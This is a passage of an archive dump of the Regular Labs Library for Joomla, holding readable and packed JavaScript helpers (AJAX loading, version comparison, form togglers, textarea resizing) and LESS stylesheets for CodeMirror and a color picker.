2=e 5===\'o\'?i.p(5):5;6(\'g\'h
2){2.g(f=>$.N(f));8}Y j=m(2,\'k\');6(!(\'s\'h
2)){2.s=j===\'r\'?14(2,\'k\'):j}6(j===\'r\'){2.b.k=(\'s\'h
2)?2.s:\'\'}j=m(2,\'k\');6(j===\'r\'){2.b.k=\'1f\'}2.b.P=\'16\';2.b.d=1};7.Q=a(5){6(!5){8}9
2=e 5===\'o\'?i.p(5):5;6(\'g\'h
2){2.g(f=>$.Q(f));8}9
j=m(2,\'k\');6(j!==\'r\'&&!(\'s\'h
2)){2.s=j}2.b.k=\'r\';2.b.P=\'1w\';2.b.d=0};7.1p=a(5,v=15,l){6(!5){8}9
2=e 5===\'o\'?i.p(5):5;6(\'g\'h
2){2.g(f=>$.1p(f,v,l));8}2.L(\'n-w\',\'h\');9 q=1d;9
J=v/q;9 K=1/J;
2.b.d=m(2,\'d\');6(!2.b.d){2.b.d=0}6(2.b.k===\'r\'){2.b.k=\'1f\'}2.b.P=\'16\';(a
D(){6(2.19(\'n-w\')===\'1e\'){8}9
A=18(2.b.d)+K;6(A>=1){$.N(2);2.L(\'n-w\',\'\');6(l){l.u(2)}8}2.b.d=A;12(a(){D.u()},q)})()};7.1q=a(5,v=15,l){6(!5){8}9
2=e 5===\'o\'?i.p(5):5;6(\'g\'h
2){2.g(f=>$.1q(f,v,l));8}2.L(\'n-w\',\'1e\');9
q=1d;9 J=v/q;9 K=1/J; 2.b.d=m(2,\'d\');(a
D(){6(2.19(\'n-w\')===\'h\'){8}9
A=18(2.b.d)-K;6(2.b.d<=0){$.Q(2);2.L(\'n-w\',\'\');6(l){l.u(2)}8}2.b.d=A;12(a(){D.u()},q)})()};7.21=a(1g){i.24(\'1W\',1g)};7.27=a(1o){8
i.26().25(1o)};7.1V=a(1m,n,R,S){9 C=1i
23();C.1F("22",1m,G);C.20(\'1Z-1Y\',\'1X/x-1U-1H-1T\');C.1S=a(){6(7.1R!==4){8}6(7.V===1Q){R&&R.u(M,7.1h,7.V,7);8}S&&S.u(M,7.1h,7.V,7)};C.1P(n)};7.T=7.U;7.t=7.1l;7.1O=7.1n;7.1N=7.17;7.1M=7.10;9
z=a(W,5,c){6(!5){8}9 2=e 5===\'o\'?i.p(5):5;6(\'g\'h
2){2.g(f=>z(W,f,c));8}6(e c===\'o\'){c=c.11(\'
\')}2.13[W](...c)};9 m=a(2,H){6(!2){8 M}8 y.m(2).1a(H)};9
14=a(2,H){6(!2){8 M}9 I=i.1L(2.1K);i.1J.1I(I);Y 1c=y.m(I).1a(H);I.1b();8
1c};9
$=7}}',62,132,'||element|||selector|if|this|return|const|function|style|classes|opacity|typeof|subElement|forEach|in|document|computedDisplay|display|oncomplete|getComputedStyle|data|string|querySelectorAll|wait|none|origDisplay|hasClass|call|duration|fading||window|doClasses|new_opacity|Regular|request|fade|word|false|true|property|defaultElement|nr_of_steps|change|setAttribute|null|show|matchAll|visibility|hide|success|fail|as|alias|status|action|undefined|let|version|toggleClasses|split|setTimeout|classList|getDefaultComputedStyle|250|visible|removeClasses|parseFloat|getAttribute|getPropertyValue|remove|propertyValue|50|out|block|func|responseText|new|of|clss|hasClasses|url|addClasses|html|fadeIn|fadeOut|console|toggle|Cannot|strict|add|hidden|error|contains|set|for|exists|already|it|am|open|use|form|append|body|nodeName|createElement|toggleClass|removeClass|addClass|send|200|readyState|onreadystatechange|urlencoded|www|loadUrl|DOMContentLoaded|application|type|Content|setRequestHeader|onReady|POST|XMLHttpRequest|addEventListener|createContextualFragment|createRange|createElementFromHTML'.split('|'),0,{}))js/script.js000064400000016455151165506420007042
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
if (typeof window.RegularLabsScripts === 'undefined'
|| typeof RegularLabsScripts.version === 'undefined'
|| RegularLabsScripts.version < '21.2.19653') {
(function($) {
window.RegularLabsScripts = {
version: '21.2.19653',
ajax_list : [],
started_ajax_list: false,
ajax_list_timer : null,
loadajax: function(url, success, fail, query, timeout, dataType, cache)
{
if (url.indexOf('index.php') !== 0 &&
url.indexOf('administrator/index.php') !== 0) {
url = url.replace('http://', '');
url = `index.php?rl_qp=1&url=${encodeURIComponent(url)}`;
if (timeout) {
url += `&timeout=${timeout}`;
}
if (cache) {
url += `&cache=${cache}`;
}
}
let base = window.location.pathname;
base = base.substring(0, base.lastIndexOf('/'));
if (
typeof Joomla !== 'undefined'
&& typeof Joomla.getOptions !== 'undefined'
&& Joomla.getOptions('system.paths')
) {
base = Joomla.getOptions('system.paths').base;
}
// console.log(url);
// console.log(`${base}/${url}`);
$.ajax({
type : 'post',
url : `${base}/${url}`,
dataType: dataType ? dataType : '',
success : function(data) {
if (success) {
success = `data = data ? data : '';
${success};`.replace(/;\s*;/g, ';');
eval(success);
}
},
error : function(data) {
if (fail) {
fail = `data = data ? data : '';
${fail};`.replace(/;\s*;/g, ';');
eval(fail);
}
}
});
},
displayVersion: function(data, extension, version) {
if (!data) {
return;
}
const xml = this.getObjectFromXML(data);
if (!xml) {
return;
}
if (typeof xml[extension] === 'undefined') {
return;
}
const dat = xml[extension];
if (!dat || typeof dat.version === 'undefined' ||
!dat.version) {
return;
}
const new_version = dat.version;
const compare = this.compareVersions(version, new_version);
if (compare != '<') {
return;
}
let el = $(`#regularlabs_newversionnumber_${extension}`);
if (el) {
el.text(new_version);
}
el = $(`#regularlabs_version_${extension}`);
if (el) {
el.css('display', 'block');
el.parent().removeClass('hide');
}
},
addToLoadAjaxList: function(url, success, error) {
// wrap inside the loadajax function (and escape string values)
url = url.replace(/'/g, "\\'");
success = success.replace(/'/g, "\\'");
error = error.replace(/'/g, "\\'");
const action = `RegularLabsScripts.loadajax(
'${url}',
'${success};RegularLabsScripts.ajaxRun();',
'${error};RegularLabsScripts.ajaxRun();'
)`;
this.addToAjaxList(action);
},
addToAjaxList: function(action) {
this.ajax_list.push(action);
if (!this.started_ajax_list) {
this.ajaxRun();
}
},
ajaxRun: function() {
if (typeof RegularLabsToggler !== 'undefined') {
RegularLabsToggler.initialize();
}
if (!this.ajax_list.length) {
return;
}
clearTimeout(this.ajax_list_timer);
this.started_ajax_list = true;
const action = this.ajax_list.shift();
eval(`${action};`);
if (!this.ajax_list.length) {
return;
}
// Re-trigger this ajaxRun function just in case it hangs somewhere
this.ajax_list_timer = setTimeout(
function() {
RegularLabsScripts.ajaxRun();
},
5000
);
},
in_array: function(needle, haystack, casesensitive) {
if ({}.toString.call(needle).slice(8, -1) !== 'Array') {
needle = [needle];
}
if ({}.toString.call(haystack).slice(8, -1) !== 'Array') {
haystack = [haystack];
}
for (let h = 0; h < haystack.length; h++) {
for (let n = 0; n < needle.length; n++) {
if (casesensitive) {
if (haystack[h] == needle[n]) {
return true;
}
continue;
}
if (haystack[h].toLowerCase() == needle[n].toLowerCase()) {
return true;
}
}
}
return false;
},
getObjectFromXML: function(xml) {
if (!xml) {
return;
}
const obj = [];
$(xml).find('extension').each(function() {
const el = [];
$(this).children().each(function() {
el[this.nodeName.toLowerCase()] = String($(this).text()).trim();
});
if (typeof el.alias !== 'undefined') {
obj[el.alias] = el;
}
if (typeof el.extname !== 'undefined' && el.extname
!= el.alias) {
obj[el.extname] = el;
}
});
return obj;
},
compareVersions: function(number1, neumber2) {
number1 = number1.split('.');
neumber2 = neumber2.split('.');
let letter1 = '';
let letter2 = '';
const max = Math.max(number1.length, neumber2.length);
for (let i = 0; i < max; i++) {
if (typeof number1[i] === 'undefined') {
number1[i] = '0';
}
if (typeof neumber2[i] === 'undefined') {
neumber2[i] = '0';
}
letter1 = number1[i].replace(/^[0-9]*(.*)/, '$1');
number1[i] = parseInt(number1[i]);
letter2 = neumber2[i].replace(/^[0-9]*(.*)/, '$1');
neumber2[i] = parseInt(neumber2[i]);
if (number1[i] < neumber2[i]) {
return '<';
}
if (number1[i] > neumber2[i]) {
return '>';
}
}
// numbers are same, so compare trailing letters
if (letter2 && (!letter1 || letter1 > letter2)) {
return '>';
}
if (letter1 && (!letter2 || letter1 < letter2)) {
return '<';
}
return '=';
},
getEditorSelection: function(editorID) {
const editor_textarea = document.getElementById(editorID);
if (!editor_textarea) {
return '';
}
const editorIFrame =
editor_textarea.parentNode.querySelector('iframe');
if (!editorIFrame) {
return '';
}
const contentWindow = editorIFrame.contentWindow;
if (typeof contentWindow.getSelection !== 'undefined') {
const sel = contentWindow.getSelection();
if (sel.rangeCount) {
const container =
contentWindow.document.createElement('div');
const len = sel.rangeCount;
for (let i = 0; i < len; ++i) {
container.appendChild(sel.getRangeAt(i).cloneContents());
}
return container.innerHTML;
}
return '';
}
if (typeof contentWindow.document.selection !== 'undefined'
&& contentWindow.document.selection.type === 'Text')
{
return contentWindow.document.selection.createRange().htmlText;
}
return '';
},
/* 2018-11-01: These methods have moved to RegularLabsForm. Keeping them
here for backwards compatibility. */
setRadio : function(id, value) {
},
initCheckAlls : function(id, classname) {
},
allChecked : function(classname) {
return false;
},
checkAll : function(checkbox, classname) {
},
toggleSelectListSelection: function(id) {
},
prependTextarea : function(id, content, separator) {
},
setToggleTitleClass : function(input, value) {
}
};
})(jQuery);
}
js/script.min.js000064400000007516151165506420007622 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"2x 1y";2(b O.p===\'c\'||b
p.k===\'c\'||p.k<\'[1p]\'){(4($){O.p={k:\'[1p]\',C:[],14:Z,10:1w,1q:4(6,j,B,1R,K,H,I){2(6.1c(\'X.15\')!==0&&6.1c(\'1M/X.15\')!==0){6=6.m(\'1D://\',\'\');6=`X.15?1B=1&6=${1N(6)}`;2(K){6+=`&K=${K}`}2(I){6+=`&I=${I}`}}o
r=O.1K.1I;r=r.1H(0,r.1G(\'/\'));2(b
L!==\'c\'&&b
L.13!==\'c\'&&L.13(\'17.1k\')){r=L.13(\'17.1k\').r}$.1E({1t:\'1F\',6:`${r}/${6}`,H:H?H:\'\',j:4(d){2(j){j=`d=d?d:\'\';${j};`.m(/;\\s*;/g,\';\');Y(j)}},F:4(d){2(B){B=`d=d?d:\'\';${B};`.m(/;\\s*;/g,\';\');Y(B)}}})},1J:4(d,w,k){2(!d){3}a
u=7.1d(d);2(!u){3}2(b u[w]===\'c\'){3}a E=u[w];2(!E||b
E.k===\'c\'||!E.k){3}a P=E.k;a
1b=7.1j(k,P);2(1b!=\'<\'){3}o
5=$(`#1S${w}`);2(5){5.1h(P)}5=$(`#1O${w}`);2(5){5.1P(\'1Q\',\'1L\');5.1C().1A(\'1z\')}},1x:4(6,j,F){6=6.m(/\'/g,"\\\\\'");j=j.m(/\'/g,"\\\\\'");F=F.m(/\'/g,"\\\\\'");a
v=`p.1q(\'${6}\',\'${j};p.D();\',\'${F};p.D();\')`;7.1r(v)},1r:4(v){7.C.1U(v);2(!7.14){7.D()}},D:4(){2(b
1m!==\'c\'){1m.26()}2(!7.C.x){3}2k(7.10);7.14=16;a
v=7.C.2l();Y(`${v};`);2(!7.C.x){3}7.10=2m(4(){p.D()},2n)},2o:4(q,t,1e){2({}.1a.1v(q).1i(8,-1)!==\'1f\'){q=[q]}2({}.1a.1v(t).1i(8,-1)!==\'1f\'){t=[t]}N(o
h=0;h<t.x;h++){N(o n=0;n<q.x;n++){2(1e){2(t[h]==q[n]){3
16}2p}2(t[h].T()==q[n].T()){3 16}}}3 Z},1d:4(u){2(!u){3}a
M=[];$(u).2q(\'w\').19(4(){a
5=[];$(7).2s().19(4(){5[7.2j.T()]=2t($(7).1h()).2u()});2(b
5.Q!==\'c\'){M[5.Q]=5}2(b
5.R!==\'c\'&&5.R!=5.Q){M[5.R]=5}});3
M},1j:4(e,f){e=e.1u(\'.\');f=f.1u(\'.\');o
y=\'\';o z=\'\';a W=2v.W(e.x,f.x);N(o
i=0;i<W;i++){2(b e[i]===\'c\'){e[i]=\'0\'}2(b
f[i]===\'c\'){f[i]=\'0\'}y=e[i].m(/^[0-9]*(.*)/,\'$1\');e[i]=1s(e[i]);z=f[i].m(/^[0-9]*(.*)/,\'$1\');f[i]=1s(f[i]);2(e[i]<f[i]){3\'<\'}2(e[i]>f[i]){3\'>\'}}2(z&&(!y||y>z)){3\'>\'}2(y&&(!z||y<z)){3\'<\'}3\'=\'},2w:4(1n){a
11=A.2r(1n);2(!11){3\'\'}a
12=11.2i.2h(\'2g\');2(!12){3\'\'}a l=12.l;2(b
l.1l!==\'c\'){a G=l.1l();2(G.1o){a V=l.A.1W(\'1X\');a
18=G.1o;N(o i=0;i<18;++i){V.1Y(G.1Z(i).20())}3 V.21}3\'\'}2(b
l.A.U!==\'c\'&&l.A.U.1t===\'22\'){3
l.A.U.23().24}3\'\'},1V:4(J,1g){},25:4(J,S){},27:4(S){3
Z},28:4(29,S){},2a:4(J){},2b:4(J,2c,2d){},2e:4(2f,1g){}}})(1T)}',62,158,'||if|return|function|el|url|this|||const|typeof|undefined|data|number1|neumber2||||success|version|contentWindow|replace||let|RegularLabsScripts|needle|base||haystack|xml|action|extension|length|letter1|letter2|document|fail|ajax_list|ajaxRun|dat|error|sel|dataType|cache|id|timeout|Joomla|obj|for|window|new_version|alias|extname|classname|toLowerCase|selection|container|max|index|eval|false|ajax_list_timer|editor_textarea|editorIFrame|getOptions|started_ajax_list|php|true|system|len|each|toString|compare|indexOf|getObjectFromXML|casesensitive|Array|value|text|slice|compareVersions|paths|getSelection|RegularLabsToggler|editorID|rangeCount|LIB_VERSION|loadajax|addToAjaxList|parseInt|type|split|call|null|addToLoadAjaxList|strict|hide|removeClass|rl_qp|parent|http|ajax|post|lastIndexOf|substring|pathname|displayVersion|location|block|administrator|encodeURIComponent|regularlabs_version_|css|display|query|regularlabs_newversionnumber_|jQuery|push|setRadio|createElement|div|appendChild|getRangeAt|cloneContents|innerHTML|Text|createRange|htmlText|initCheckAlls|initialize|allChecked|checkAll|checkbox|toggleSelectListSelection|prependTextarea|content|separator|setToggleTitleClass|input|iframe|querySelector|parentNode|nodeName|clearTimeout|shift|setTimeout|5000|in_array|continue|find|getElementById|children|String|trim|Math|getEditorSelection|use'.split('|'),0,{}))js/simplecategories.js000064400000001706151165506420011066
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
(function($) {
$(document).ready(function() {
// remove all empty control groups
$('div.rl_simplecategory').each(function(i, el) {
var $el = $(el);
var func = function() {
var new_value = $(this).val();
if (new_value == '-1') {
$el.find('.rl_simplecategory_value').val($el.find('.rl_simplecategory_new
input').val());
return;
}
$el.find('.rl_simplecategory_value').val(new_value);
};
$el.find('.rl_simplecategory_select
select').on('change', func).on('keyup', func);
$el.find('.rl_simplecategory_new
input').on('change', func).on('keyup', func);
});
});
})(jQuery);
js/simplecategories.min.js000064400000001555151165506420011652 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return
c.toString(36)};if(!''.replace(/^/,String)){while(g--){b[g.toString(e)]=l[g]||g.toString(e)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"r k";(4($){$(l).h(4(){$(\'e.f\').j(4(i,0){7
$0=$(0);7 3=4(){7
8=$(n).6();o(8==\'-1\'){$0.2(\'.d\').6($0.2(\'.c
b\').6());m}$0.2(\'.d\').6(8)};$0.2(\'.p
q\').5(\'a\',3).5(\'9\',3);$0.2(\'.c
b\').5(\'a\',3).5(\'9\',3)})})})(g);',28,28,'el||find|func|function|on|val|var|new_value|keyup|change|input|rl_simplecategory_new|rl_simplecategory_value|div|rl_simplecategory|jQuery|ready||each|strict|document|return|this|if|rl_simplecategory_select|select|use'.split('|'),0,{}))js/textareaplus.js000064400000001451151165506420010245
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
"use strict";
(function($) {
$(document).ready(function() {
$('.rl_resize_textarea').click(function() {
var $el = $(this);
var $field = $(`#${$el.attr('data-id')}`);
if ($el.hasClass('rl_minimize')) {
$el.removeClass('rl_minimize').addClass('rl_maximize');
$field.css({'height': $el.attr('data-min')});
return;
}
$el.removeClass('rl_maximize').addClass('rl_minimize');
$field.css({'height': $el.attr('data-max')});
});
});
})(jQuery);
js/textareaplus.min.js000064400000001460151165506420011027 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return
c.toString(36)};if(!''.replace(/^/,String)){while(g--){b[g.toString(e)]=l[g]||g.toString(e)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"p c";(1($){$(d).e(1(){$(\'.f\').g(1(){6
$0=$(j);6
$4=$(`#${$0.3(\'2-k\')}`);l($0.m(\'5\')){$0.7(\'5\').9(\'8\');$4.a({\'b\':$0.3(\'2-i\')});o}$0.7(\'8\').9(\'5\');$4.a({\'b\':$0.3(\'2-n\')})})})})(h);',26,26,'el|function|data|attr|field|rl_minimize|var|removeClass|rl_maximize|addClass|css|height|strict|document|ready|rl_resize_textarea|click|jQuery|min|this|id|if|hasClass|max|return|use'.split('|'),0,{}))js/toggler.js000064400000014351151165506420007172
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* @deprecated !!!
*/
"use strict";
if (typeof window.RegularLabsToggler === 'undefined'
|| typeof RegularLabsToggler.version === 'undefined'
|| RegularLabsToggler.version < '21.2.19653') {
(function($) {
$(document).ready(function() {
if (!$('.rl_toggler').length) {
// Try again 2 seconds later, because IE sometimes can't see
object immediately
$(function() {
if ($('.rl_toggler').length) {
RegularLabsToggler.initialize();
}
}).delay(2000);
return;
}
RegularLabsToggler.initialize();
});
window.RegularLabsToggler = {
version: '21.2.19653',
togglers: {}, // holds all the toggle areas
elements: {}, // holds all the elements and their values that affect
toggle areas
initialize: function() {
this.togglers = $('.rl_toggler');
if (!this.togglers.length) {
return;
}
this.initTogglers();
},
initTogglers: function() {
const self = this;
let newTogglers = {};
this.elements = {};
$.each(this.togglers, function(i, toggler) {
// init togglers
if (!toggler.id) {
return;
}
$(toggler).show();
$(toggler).removeAttr('height');
toggler.height = $(toggler).height();
toggler.elements = {};
toggler.nofx = $(toggler).hasClass('rl_toggler_nofx');
toggler.method = ($(toggler).hasClass('rl_toggler_and')) ?
'and' : 'or';
toggler.ids = toggler.id.split('___');
for (let i = 1; i < toggler.ids.length; i++) {
const keyval = toggler.ids[i].split('.');
const key = keyval[0];
let val = 1;
if (keyval.length > 1) {
val = keyval[1];
}
if (typeof toggler.elements[key] === 'undefined') {
toggler.elements[key] = [];
}
toggler.elements[key].push(val);
if (typeof self.elements[key] === 'undefined') {
self.elements[key] = {};
self.elements[key].elements = [];
self.elements[key].values = [];
self.elements[key].togglers = [];
}
self.elements[key].togglers.push(toggler.id);
}
newTogglers[toggler.id] = toggler;
});
this.togglers = newTogglers;
newTogglers = null;
this.setElements();
// hide togglers that should be
$.each(this.togglers, function(i, toggler) {
self.toggleByID(toggler.id, 1);
});
$(document.body).delay(250).css('cursor', '');
},
autoHeightDivs: function() {
// set all divs in the form to auto height
$.each($('div.col div, div.fltrt div'), function(i, el) {
if (el.getStyle('height') != '0px'
&& !el.hasClass('input')
&& !el.hasClass('rl_hr')
// GK elements
&& el.id.indexOf('gk_') < 0
&& el.className.indexOf('gk_') < 0
&& el.className.indexOf('switcher-') < 0
) {
el.css('height', 'auto');
}
});
},
toggle: function(name) {
this.setValues(name);
for (let i = 0; i < this.elements[name].togglers.length; i++) {
this.toggleByID(this.elements[name].togglers[i]);
}
//this.autoHeightDivs();
},
toggleByID: function(id, nofx) {
if (typeof this.togglers[id] === 'undefined') {
return;
}
const toggler = this.togglers[id];
const show = this.isShow(toggler);
if (nofx || toggler.nofx) {
if (show) {
$(toggler).show();
} else {
$(toggler).hide();
}
} else {
if (show) {
$(toggler).slideDown();
} else {
$(toggler).slideUp();
}
}
},
isShow: function(toggler) {
let show = (toggler.method == 'and');
for (let name in toggler.elements) {
const vals = toggler.elements[name];
const values = this.elements[name].values;
if (
values != null && values.length
&& (
(vals == '*' && values != '')
|| (vals.toString().substr(0, 1) === '!' &&
!RegularLabsScripts.in_array(vals.toString().substr(1), values))
|| RegularLabsScripts.in_array(vals, values)
)
) {
if (toggler.method == 'or') {
show = 1;
break;
}
} else {
if (toggler.method == 'and') {
show = 0;
break;
}
}
}
return show;
},
setValues: function(name) {
const els = this.elements[name].elements;
const values = [];
// get value
$.each(els, function(i, el) {
switch (el.type) {
case 'radio':
case 'checkbox':
if (el.checked) {
values.push(el.value);
}
break;
default:
if (typeof el.elements !== 'undefined' &&
el.elements.length > 1) {
for (let i = 0; i < el.elements.length; i++) {
if (el.checked) {
values.push(el.value);
}
}
} else {
values.push(el.value);
}
break;
}
});
this.elements[name].values = values;
},
setElements: function() {
const self = this;
$.each($('input, select, textarea'), function(i, el) {
const name = el.name
.replace('@', '_')
.replace('[]', '')
.replace(/^(?:jform\[(?:field)?params\]|jform|params|fieldparams|advancedparams)\[(.*?)\]/g,
'\$1')
.replace(/^(.*?)\[(.*?)\]/g, '\$1_\$2')
.trim();
if (name !== '') {
if (typeof self.elements[name] !== 'undefined') {
self.elements[name].elements.push(el);
self.setValues(name);
self.setElementEvents(el, name);
}
}
});
},
setElementEvents: function(el, name) {
if ($(el).attr('togglerEventAdded')) {
return;
}
const self = this;
let type;
if (typeof el.type === 'undefined') {
if ($(el).prop("tagName").toLowerCase() ==
'select') {
type = 'select';
}
} else {
type = el.type;
}
const func = function() {
self.toggle(name);
};
$(el).on('input', func);
if (typeof jQuery !== 'undefined' && type ==
'select' || field.type == 'select-one') {
$(el).on('change', func);
}
$(el).attr('togglerEventAdded', 1);
}
};
})(jQuery);
}
js/toggler.min.js000064400000006164151165506420007757 0ustar00/*
* Copyright © 2020 Regular Labs - All Rights Reserved
* License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
eval(function(r,e,g,l,a,b){a=function(c){return(c<e?'':a(parseInt(c/e)))+((c=c%e)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(g--){b[a(g)]=l[g]||a(g)}l=[function(a){return
b[a]}];a=function(){return'\\w+'};g=1};while(g--){if(l[g]){r=r.replace(new
RegExp('\\b'+a(g)+'\\b','g'),l[g])}}return
r}('"1N 1l";6(h 14.q===\'l\'||h
q.N===\'l\'||q.N<\'[Y]\'){(9($){$(Z).1s(9(){6(!$(\'.G\').j){$(9(){6($(\'.G\').j){q.Q()}}).W(1x);o}q.Q()});14.q={N:\'[Y]\',d:{},5:{},Q:9(){7.d=$(\'.G\');6(!7.d.j){o}7.15()},15:9(){c
a=7;n
D={};7.5={};$.s(7.d,9(i,3){6(!3.f){o}$(3).k();$(3).1v(\'u\');3.u=$(3).u();3.5={};3.A=$(3).z(\'1u\');3.B=($(3).z(\'1t\'))?\'L\':\'17\';3.J=3.f.10(\'1r\');y(n
i=1;i<3.J.j;i++){c E=3.J[i].10(\'.\');c e=E[0];n
F=1;6(E.j>1){F=E[1]}6(h
3.5[e]===\'l\'){3.5[e]=[]}3.5[e].p(F);6(h
a.5[e]===\'l\'){a.5[e]={};a.5[e].5=[];a.5[e].b=[];a.5[e].d=[]}a.5[e].d.p(3.f)}D[3.f]=3});7.d=D;D=S;7.1f();$.s(7.d,9(i,3){a.K(3.f,1)});$(Z.1z).W(1w).11(\'1B\',\'\')},1C:9(){$.s($(\'C.1A
C, C.1V
C\'),9(i,4){6(4.1T(\'u\')!=\'1S\'&&!4.z(\'H\')&&!4.z(\'1Q\')&&4.f.M(\'13\')<0&&4.12.M(\'13\')<0&&4.12.M(\'1O-\')<0){4.11(\'u\',\'1L\')}})},1c:9(8){7.O(8);y(n
i=0;i<7.5[8].d.j;i++){7.K(7.5[8].d[i])}},K:9(f,A){6(h
7.d[f]===\'l\'){o}c 3=7.d[f];c
k=7.X(3);6(A||3.A){6(k){$(3).k()}r{$(3).1J()}}r{6(k){$(3).1I()}r{$(3).1H()}}},X:9(3){n
k=(3.B==\'L\');y(n 8 1F 3.5){c v=3.5[8];c
b=7.5[8].b;6(b!=S&&b.j&&((v==\'*\'&&b!=\'\')||(v.V().T(0,1)===\'!\'&&!R.U(v.V().T(1),b))||R.U(v,b))){6(3.B==\'17\'){k=1;w}}r{6(3.B==\'L\'){k=0;w}}}o
k},O:9(8){c 1h=7.5[8].5;c
b=[];$.s(1h,9(i,4){1D(4.m){1i\'1E\':1i\'1G\':6(4.1d){b.p(4.I)}w;1K:6(h
4.5!==\'l\'&&4.5.j>1){y(n
i=0;i<4.5.j;i++){6(4.1d){b.p(4.I)}}}r{b.p(4.I)}w}});7.5[8].b=b},1f:9(){c
a=7;$.s($(\'H, t, 1M\'),9(i,4){c
8=4.8.x(\'@\',\'1P\').x(\'[]\',\'\').x(/^(?:1b\\[(?:1e)?1a\\]|1b|1a|1R|1U)\\[(.*?)\\]/g,\'\\$1\').x(/^(.*?)\\[(.*?)\\]/g,\'\\$1m\\$2\').1n();6(8!==\'\'){6(h
a.5[8]!==\'l\'){a.5[8].5.p(4);a.O(8);a.19(4,8)}}})},19:9(4,8){6($(4).1j(\'1g\')){o}c
a=7;n m;6(h
4.m===\'l\'){6($(4).1o("1p").1q()==\'t\'){m=\'t\'}}r{m=4.m}c
P=9(){a.1c(8)};$(4).18(\'H\',P);6(h
16!==\'l\'&&m==\'t\'||1e.m==\'t-1y\'){$(4).18(\'1k\',P)}$(4).1j(\'1g\',1)}}})(16)}',62,120,'|||toggler|el|elements|if|this|name|function|self|values|const|togglers|key|id||typeof||length|show|undefined|type|let|return|push|RegularLabsToggler|else|each|select|height|vals|break|replace|for|hasClass|nofx|method|div|newTogglers|keyval|val|rl_toggler|input|value|ids|toggleByID|and|indexOf|version|setValues|func|initialize|RegularLabsScripts|null|substr|in_array|toString|delay|isShow|LIB_VERSION|document|split|css|className|gk_|window|initTogglers|jQuery|or|on|setElementEvents|params|jform|toggle|checked|field|setElements|togglerEventAdded|els|case|attr|change|strict|1_|trim|prop|tagName|toLowerCase|___|ready|rl_toggler_and|rl_toggler_nofx|removeAttr|250|2000|one|body|col|cursor|autoHeightDivs|switch|radio|in|checkbox|slideUp|slideDown|hide|default|auto|textarea|use|switcher|_|rl_hr|fieldparams|0px|getStyle|advancedparams|fltrt'.split('|'),0,{}))less/codemirror.less000064400000001774151165506420010565
0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
@import "init.less";
.rl_codemirror {
.CodeMirror {
height: 100px;
min-height: 100px;
max-height: none;
padding-bottom: 15px;
}
.cm-resize-handle {
position: relative;
background: #f7f7f7;
height: 15px;
user-select: none;
cursor: ns-resize;
border-top: 1px solid #cccccc;
border-bottom: 1px solid #cccccc;
z-index: 2;
&:before {
position: absolute;
left: 50%;
content: '\2261'; /*
https://en.wikipedia.org/wiki/Triple_bar */
color: #999999;
line-height: 13px;
font-size: 15px;
}
&:hover {
background: #f0f0f0;
}
&:hover:before {
color: black;
}
}
}
less/color.less000064400000014304151165506420007527 0ustar00/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASED ON:
* jQuery MiniColors: A tiny color picker built on jQuery
* Copyright Cory LaViska for A Beautiful Site, LLC.
(http://www.abeautifulsite.net/)
* Dual-licensed under the MIT and GPL Version 2 licenses
*/
@import "init.less";
.minicolors {
position: relative;
display: inline-block;
z-index: 11;
}
.minicolors-focus {
z-index: 12;
}
.minicolors.minicolors-theme-default .minicolors-input {
margin: 0;
border: solid 1px #cccccc;
font: 14px sans-serif;
width: 65px;
height: 16px;
.border-radius(0);
.box-shadow(~"inset 0 2px 4px rgba(0, 0, 0, .04)");
padding: 2px;
margin-right: -1px;
}
.minicolors-theme-default.minicolors .minicolors-input {
vertical-align: middle;
outline: none;
}
.minicolors-theme-default.minicolors-swatch-left .minicolors-input {
margin-left: -1px;
margin-right: auto;
}
